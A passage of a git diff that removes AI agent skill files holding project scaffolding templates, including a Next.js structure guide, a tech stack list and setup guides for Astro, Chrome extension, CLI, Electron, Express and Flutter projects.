│ │ ├── lib/ # Utils, helpers
|
||||
│ │ └── hooks/ # Global hooks
|
||||
│ │
|
||||
│ └── server/ # Server-only code
|
||||
│ ├── db/ # Database client (Prisma)
|
||||
│ ├── auth/ # Auth config
|
||||
│ └── services/ # External API integrations
|
||||
│
|
||||
├── prisma/
|
||||
│ ├── schema.prisma
|
||||
│ ├── migrations/
|
||||
│ └── seed.ts
|
||||
│
|
||||
├── public/
|
||||
├── .env.example
|
||||
├── .env.local
|
||||
├── package.json
|
||||
├── tailwind.config.ts
|
||||
├── tsconfig.json
|
||||
└── README.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Structure Principles
|
||||
|
||||
| Principle | Implementation |
|
||||
|-----------|----------------|
|
||||
| **Feature isolation** | Each feature in `features/` with its own components, hooks, actions |
|
||||
| **Server/Client separation** | Server-only code in `server/`, prevents accidental client imports |
|
||||
| **Thin routes** | `app/` only for routing, logic lives in `features/` |
|
||||
| **Route groups** | `(groupName)/` for layout sharing without URL impact |
|
||||
| **Shared code** | `shared/` for truly reusable UI and utilities |
|
||||
|
||||
---
|
||||
|
||||
## Core Files
|
||||
|
||||
| File | Purpose |
|
||||
|------|---------|
|
||||
| `package.json` | Dependencies |
|
||||
| `tsconfig.json` | TypeScript + path aliases (`@/features/*`) |
|
||||
| `tailwind.config.ts` | Tailwind config |
|
||||
| `.env.example` | Environment template |
|
||||
| `README.md` | Project documentation |
|
||||
| `.gitignore` | Git ignore rules |
|
||||
| `prisma/schema.prisma` | Database schema |
|
||||
|
||||
---
|
||||
|
||||
## Path Aliases (tsconfig.json)
|
||||
|
||||
```json
|
||||
{
|
||||
"compilerOptions": {
|
||||
"paths": {
|
||||
"@/*": ["./src/*"],
|
||||
"@/features/*": ["./src/features/*"],
|
||||
"@/shared/*": ["./src/shared/*"],
|
||||
"@/server/*": ["./src/server/*"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## When to Use What
|
||||
|
||||
| Need | Location |
|
||||
|------|----------|
|
||||
| New page/route | `app/(group)/page.tsx` |
|
||||
| Feature component | `features/[name]/components/` |
|
||||
| Server action | `features/[name]/actions.ts` |
|
||||
| Data fetching | `features/[name]/queries.ts` |
|
||||
| Reusable button/input | `shared/components/ui/` |
|
||||
| Database query | `server/db/` |
|
||||
| External API call | `server/services/` |
|
||||
@@ -1,40 +0,0 @@
|
||||
# Tech Stack Selection (2025)
|
||||
|
||||
> Default and alternative technology choices for web applications.
|
||||
|
||||
## Default Stack (Web App - 2025)
|
||||
|
||||
```yaml
|
||||
Frontend:
|
||||
framework: Next.js 16 (Stable)
|
||||
language: TypeScript 5.7+
|
||||
styling: Tailwind CSS v4
|
||||
state: React 19 Actions / Server Components
|
||||
bundler: Turbopack (Stable for Dev)
|
||||
|
||||
Backend:
|
||||
runtime: Node.js 23
|
||||
framework: Next.js API Routes / Hono (for Edge)
|
||||
validation: Zod / TypeBox
|
||||
|
||||
Database:
|
||||
primary: PostgreSQL
|
||||
orm: Prisma / Drizzle
|
||||
hosting: Supabase / Neon
|
||||
|
||||
Auth:
|
||||
provider: Auth.js (v5) / Clerk
|
||||
|
||||
Monorepo:
|
||||
tool: Turborepo 2.0
|
||||
```
|
||||
|
||||
## Alternative Options
|
||||
|
||||
| Need | Default | Alternative |
|
||||
|------|---------|-------------|
|
||||
| Real-time | - | Supabase Realtime, Socket.io |
|
||||
| File storage | - | Cloudinary, S3 |
|
||||
| Payment | Stripe | LemonSqueezy, Paddle |
|
||||
| Email | - | Resend, SendGrid |
|
||||
| Search | - | Algolia, Typesense |
|
||||
@@ -1,44 +0,0 @@
|
||||
---
|
||||
name: templates
|
||||
description: "Project scaffolding templates for new applications. Use when creating new projects from scratch. Contains 12 templates for various tech stacks."
|
||||
allowed-tools: Read, Glob, Grep
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Project Templates
|
||||
|
||||
> Quick-start templates for scaffolding new projects.
|
||||
|
||||
---
|
||||
|
||||
## 🎯 Selective Reading Rule
|
||||
|
||||
**Read ONLY the template matching user's project type!**
|
||||
|
||||
| Template | Tech Stack | When to Use |
|
||||
|----------|------------|-------------|
|
||||
| [nextjs-fullstack](nextjs-fullstack/TEMPLATE.md) | Next.js + Prisma | Full-stack web app |
|
||||
| [nextjs-saas](nextjs-saas/TEMPLATE.md) | Next.js + Stripe | SaaS product |
|
||||
| [nextjs-static](nextjs-static/TEMPLATE.md) | Next.js + Framer | Landing page |
|
||||
| [express-api](express-api/TEMPLATE.md) | Express + JWT | REST API |
|
||||
| [python-fastapi](python-fastapi/TEMPLATE.md) | FastAPI | Python API |
|
||||
| [react-native-app](react-native-app/TEMPLATE.md) | Expo + Zustand | Mobile app |
|
||||
| [flutter-app](flutter-app/TEMPLATE.md) | Flutter + Riverpod | Cross-platform |
|
||||
| [electron-desktop](electron-desktop/TEMPLATE.md) | Electron + React | Desktop app |
|
||||
| [chrome-extension](chrome-extension/TEMPLATE.md) | Chrome MV3 | Browser extension |
|
||||
| [cli-tool](cli-tool/TEMPLATE.md) | Node.js + Commander | CLI app |
|
||||
| [monorepo-turborepo](monorepo-turborepo/TEMPLATE.md) | Turborepo + pnpm | Monorepo |
|
||||
| [astro-static](astro-static/TEMPLATE.md) | Astro + MDX | Blog / Docs |
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
1. User says "create [type] app"
|
||||
2. Match to appropriate template
|
||||
3. Read ONLY that template's TEMPLATE.md
|
||||
4. Follow its tech stack and structure
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,76 +0,0 @@
|
||||
---
|
||||
name: astro-static
|
||||
description: Astro static site template principles. Content-focused websites, blogs, documentation.
|
||||
---
|
||||
|
||||
# Astro Static Site Template
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Component | Technology |
|
||||
|-----------|------------|
|
||||
| Framework | Astro 4.x |
|
||||
| Content | MDX + Content Collections |
|
||||
| Styling | Tailwind CSS |
|
||||
| Integrations | Sitemap, RSS, SEO |
|
||||
| Output | Static/SSG |
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
project-name/
|
||||
├── src/
|
||||
│ ├── components/ # .astro components
|
||||
│ ├── content/ # MDX content
|
||||
│ │ ├── blog/
|
||||
│ │ └── config.ts # Collection schemas
|
||||
│ ├── layouts/ # Page layouts
|
||||
│ ├── pages/ # File-based routing
|
||||
│ └── styles/
|
||||
├── public/ # Static assets
|
||||
├── astro.config.mjs
|
||||
└── package.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| Content Collections | Type-safe content with Zod schemas |
|
||||
| Islands Architecture | Partial hydration for interactivity |
|
||||
| Zero JS by default | Static HTML unless needed |
|
||||
| MDX Support | Markdown with components |
|
||||
|
||||
---
|
||||
|
||||
## Setup Steps
|
||||
|
||||
1. `npm create astro@latest {{name}}`
|
||||
2. Add integrations: `npx astro add mdx tailwind sitemap`
|
||||
3. Configure `astro.config.mjs`
|
||||
4. Create content collections
|
||||
5. `npm run dev`
|
||||
|
||||
---
|
||||
|
||||
## Deployment
|
||||
|
||||
| Platform | Method |
|
||||
|----------|--------|
|
||||
| Vercel | Auto-detected |
|
||||
| Netlify | Auto-detected |
|
||||
| Cloudflare Pages | Auto-detected |
|
||||
| GitHub Pages | Build + deploy action |
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
- Use Content Collections for type safety
|
||||
- Leverage static generation
|
||||
- Add islands only where needed
|
||||
- Optimize images with Astro Image
|
||||
@@ -1,92 +0,0 @@
|
||||
---
|
||||
name: chrome-extension
|
||||
description: Chrome Extension template principles. Manifest V3, React, TypeScript.
|
||||
---
|
||||
|
||||
# Chrome Extension Template
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Component | Technology |
|
||||
|-----------|------------|
|
||||
| Manifest | V3 |
|
||||
| UI | React 18 |
|
||||
| Language | TypeScript |
|
||||
| Styling | Tailwind CSS |
|
||||
| Bundler | Vite |
|
||||
| Storage | Chrome Storage API |
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
project-name/
|
||||
├── src/
|
||||
│ ├── popup/ # Extension popup
|
||||
│ ├── options/ # Options page
|
||||
│ ├── background/ # Service worker
|
||||
│ ├── content/ # Content scripts
|
||||
│ ├── components/
|
||||
│ ├── hooks/
|
||||
│ └── lib/
|
||||
│ ├── storage.ts # Chrome storage helpers
|
||||
│ └── messaging.ts # Message passing
|
||||
├── public/
|
||||
│ ├── icons/
|
||||
│ └── manifest.json
|
||||
└── package.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Manifest V3 Concepts
|
||||
|
||||
| Component | Purpose |
|
||||
|-----------|---------|
|
||||
| Service Worker | Background processing |
|
||||
| Content Scripts | Page injection |
|
||||
| Popup | User interface |
|
||||
| Options Page | Settings |
|
||||
|
||||
---
|
||||
|
||||
## Permissions
|
||||
|
||||
| Permission | Use |
|
||||
|------------|-----|
|
||||
| storage | Save user data |
|
||||
| activeTab | Current tab access |
|
||||
| scripting | Inject scripts |
|
||||
| host_permissions | Site access |
|
||||
|
||||
---
|
||||
|
||||
## Setup Steps
|
||||
|
||||
1. `npm create vite {{name}} -- --template react-ts`
|
||||
2. Add Chrome types: `npm install -D @types/chrome`
|
||||
3. Configure Vite for multi-entry
|
||||
4. Create manifest.json
|
||||
5. `npm run dev` (watch mode)
|
||||
6. Load in Chrome: `chrome://extensions` → Load unpacked
|
||||
|
||||
---
|
||||
|
||||
## Development Tips
|
||||
|
||||
| Task | Method |
|
||||
|------|--------|
|
||||
| Debug Popup | Right-click icon → Inspect |
|
||||
| Debug Background | Extensions page → Service worker |
|
||||
| Debug Content | DevTools console on page |
|
||||
| Hot Reload | `npm run dev` with watch |
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
- Use type-safe messaging
|
||||
- Wrap Chrome APIs in promises
|
||||
- Minimize permissions
|
||||
- Handle offline gracefully
|
||||
@@ -1,88 +0,0 @@
|
||||
---
|
||||
name: cli-tool
|
||||
description: Node.js CLI tool template principles. Commander.js, interactive prompts.
|
||||
---
|
||||
|
||||
# CLI Tool Template
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Component | Technology |
|
||||
|-----------|------------|
|
||||
| Runtime | Node.js 20+ |
|
||||
| Language | TypeScript |
|
||||
| CLI Framework | Commander.js |
|
||||
| Prompts | Inquirer.js |
|
||||
| Output | chalk + ora |
|
||||
| Config | cosmiconfig |
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
project-name/
|
||||
├── src/
|
||||
│ ├── index.ts # Entry point
|
||||
│ ├── cli.ts # CLI setup
|
||||
│ ├── commands/ # Command handlers
|
||||
│ ├── lib/
|
||||
│ │ ├── config.ts # Config loader
|
||||
│ │ └── logger.ts # Styled output
|
||||
│ └── types/
|
||||
├── bin/
|
||||
│ └── cli.js # Executable
|
||||
└── package.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## CLI Design Principles
|
||||
|
||||
| Principle | Description |
|
||||
|-----------|-------------|
|
||||
| Subcommands | Group related actions |
|
||||
| Options | Flags with defaults |
|
||||
| Interactive | Prompts when needed |
|
||||
| Non-interactive | Support --yes flags |
|
||||
|
||||
---
|
||||
|
||||
## Key Components
|
||||
|
||||
| Component | Purpose |
|
||||
|-----------|---------|
|
||||
| Commander | Command parsing |
|
||||
| Inquirer | Interactive prompts |
|
||||
| Chalk | Colored output |
|
||||
| Ora | Spinners/loading |
|
||||
| Cosmiconfig | Config file discovery |
|
||||
|
||||
---
|
||||
|
||||
## Setup Steps
|
||||
|
||||
1. Create project directory
|
||||
2. `npm init -y`
|
||||
3. Install deps: `npm install commander @inquirer/prompts chalk ora cosmiconfig`
|
||||
4. Configure bin in package.json
|
||||
5. `npm link` for local testing
|
||||
|
||||
---
|
||||
|
||||
## Publishing
|
||||
|
||||
```bash
|
||||
npm login
|
||||
npm publish
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
- Provide helpful error messages
|
||||
- Support both interactive and non-interactive modes
|
||||
- Use consistent output styling
|
||||
- Validate inputs with Zod
|
||||
- Exit with proper codes (0 success, 1 error)
|
||||
@@ -1,88 +0,0 @@
|
||||
---
|
||||
name: electron-desktop
|
||||
description: Electron desktop app template principles. Cross-platform, React, TypeScript.
|
||||
---
|
||||
|
||||
# Electron Desktop App Template
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Component | Technology |
|
||||
|-----------|------------|
|
||||
| Framework | Electron 28+ |
|
||||
| UI | React 18 |
|
||||
| Language | TypeScript |
|
||||
| Styling | Tailwind CSS |
|
||||
| Bundler | Vite + electron-builder |
|
||||
| IPC | Type-safe communication |
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
project-name/
|
||||
├── electron/
|
||||
│ ├── main.ts # Main process
|
||||
│ ├── preload.ts # Preload script
|
||||
│ └── ipc/ # IPC handlers
|
||||
├── src/
|
||||
│ ├── App.tsx
|
||||
│ ├── components/
|
||||
│ │ ├── TitleBar.tsx # Custom title bar
|
||||
│ │ └── ...
|
||||
│ └── hooks/
|
||||
├── public/
|
||||
└── package.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Process Model
|
||||
|
||||
| Process | Role |
|
||||
|---------|------|
|
||||
| Main | Node.js, system access |
|
||||
| Renderer | Chromium, React UI |
|
||||
| Preload | Bridge, context isolation |
|
||||
|
||||
---
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Purpose |
|
||||
|---------|---------|
|
||||
| contextBridge | Safe API exposure |
|
||||
| ipcMain/ipcRenderer | Process communication |
|
||||
| nodeIntegration: false | Security |
|
||||
| contextIsolation: true | Security |
|
||||
|
||||
---
|
||||
|
||||
## Setup Steps
|
||||
|
||||
1. `npm create vite {{name}} -- --template react-ts`
|
||||
2. Install: `npm install -D electron electron-builder vite-plugin-electron`
|
||||
3. Create electron/ directory
|
||||
4. Configure main process
|
||||
5. `npm run electron:dev`
|
||||
|
||||
---
|
||||
|
||||
## Build Targets
|
||||
|
||||
| Platform | Output |
|
||||
|----------|--------|
|
||||
| Windows | NSIS, Portable |
|
||||
| macOS | DMG, ZIP |
|
||||
| Linux | AppImage, DEB |
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
- Use preload script for main/renderer bridge
|
||||
- Type-safe IPC with typed handlers
|
||||
- Custom title bar for native feel
|
||||
- Handle window state (maximize, minimize)
|
||||
- Auto-updates with electron-updater
|
||||
@@ -1,83 +0,0 @@
|
||||
---
|
||||
name: express-api
|
||||
description: Express.js REST API template principles. TypeScript, Prisma, JWT.
|
||||
---
|
||||
|
||||
# Express.js API Template
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Component | Technology |
|
||||
|-----------|------------|
|
||||
| Runtime | Node.js 20+ |
|
||||
| Framework | Express.js |
|
||||
| Language | TypeScript |
|
||||
| Database | PostgreSQL + Prisma |
|
||||
| Validation | Zod |
|
||||
| Auth | JWT + bcrypt |
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
project-name/
|
||||
├── prisma/
|
||||
│ └── schema.prisma
|
||||
├── src/
|
||||
│ ├── app.ts # Express setup
|
||||
│ ├── config/ # Environment
|
||||
│ ├── routes/ # Route handlers
|
||||
│ ├── controllers/ # Business logic
|
||||
│ ├── services/ # Data access
|
||||
│ ├── middleware/
|
||||
│ │ ├── auth.ts # JWT verify
|
||||
│ │ ├── error.ts # Error handler
|
||||
│ │ └── validate.ts # Zod validation
|
||||
│ ├── schemas/ # Zod schemas
|
||||
│ └── utils/
|
||||
└── package.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Middleware Stack
|
||||
|
||||
| Order | Middleware |
|
||||
|-------|------------|
|
||||
| 1 | helmet (security) |
|
||||
| 2 | cors |
|
||||
| 3 | morgan (logging) |
|
||||
| 4 | body parsing |
|
||||
| 5 | routes |
|
||||
| 6 | error handler |
|
||||
|
||||
---
|
||||
|
||||
## API Response Format
|
||||
|
||||
| Type | Structure |
|
||||
|------|-----------|
|
||||
| Success | `{ success: true, data: {...} }` |
|
||||
| Error | `{ error: "message", details: [...] }` |
|
||||
|
||||
---
|
||||
|
||||
## Setup Steps
|
||||
|
||||
1. Create project directory
|
||||
2. `npm init -y`
|
||||
3. Install deps: `npm install express prisma zod bcrypt jsonwebtoken`
|
||||
4. Configure Prisma
|
||||
5. `npm run db:push`
|
||||
6. `npm run dev`
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
- Layer architecture (routes → controllers → services)
|
||||
- Validate all inputs with Zod
|
||||
- Centralized error handling
|
||||
- Environment-based config
|
||||
- Use Prisma for type-safe DB access
|
||||
@@ -1,90 +0,0 @@
|
||||
---
|
||||
name: flutter-app
|
||||
description: Flutter mobile app template principles. Riverpod, Go Router, clean architecture.
|
||||
---
|
||||
|
||||
# Flutter App Template
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Component | Technology |
|
||||
|-----------|------------|
|
||||
| Framework | Flutter 3.x |
|
||||
| Language | Dart 3.x |
|
||||
| State | Riverpod 2.0 |
|
||||
| Navigation | Go Router |
|
||||
| HTTP | Dio |
|
||||
| Storage | Hive |
|
||||
|
||||
---
|
||||
|
||||
## Directory Structure
|
||||
|
||||
```
|
||||
project_name/
|
||||
├── lib/
|
||||
│ ├── main.dart
|
||||
│ ├── app.dart
|
||||
│ ├── core/
|
||||
│ │ ├── constants/
|
||||
│ │ ├── theme/
|
||||
│ │ ├── router/
|
||||
│ │ └── utils/
|
||||
│ ├── features/
|
||||
│ │ ├── auth/
|
||||
│ │ │ ├── data/
|
||||
│ │ │ ├── domain/
|
||||
│ │ │ └── presentation/
|
||||
│ │ └── home/
|
||||
│ ├── shared/
|
||||
│ │ ├── widgets/
|
||||
│ │ └── providers/
|
||||
│ └── services/
|
||||
│ ├── api/
|
||||
│ └── storage/
|
||||
├── test/
|
||||
└── pubspec.yaml
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Architecture Layers
|
||||
|
||||
| Layer | Contents |
|
||||
|-------|----------|
|
||||
| Presentation | Screens, Widgets, Providers |
|
||||
| Domain | Entities, Use Cases |
|
||||
| Data | Repositories, Models |
|
||||
|
||||
---
|
||||
|
||||
## Key Packages
|
||||
|
||||
| Package | Purpose |
|
||||
|---------|---------|
|
||||
| flutter_riverpod | State management |
|
||||
| riverpod_annotation | Code generation |
|
||||
| go_router | Navigation |
|
||||
| dio | HTTP client |
|
||||
| freezed | Immutable models |
|
||||
| hive | Local storage |
|
||||
|
||||
---
|
||||
|
||||
## Setup Steps
|
||||
|
||||
1. `flutter create {{name}} --org com.{{bundle}}`
|
||||
2. Update `pubspec.yaml`
|
||||
3. `flutter pub get`
|
||||
4. Run code generation: `dart run build_runner build`
|
||||
5. `flutter run`
|
||||
|
||||
---
|
||||
|
||||
## Best Practices
|
||||
|
||||
- Feature-first folder structure
|
||||
- Riverpod for state, React Query pattern for server state
|
||||
- Freezed for immutable data classes
|
||||
- Go Router for declarative navigation
|
||||
- Material 3 theming
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user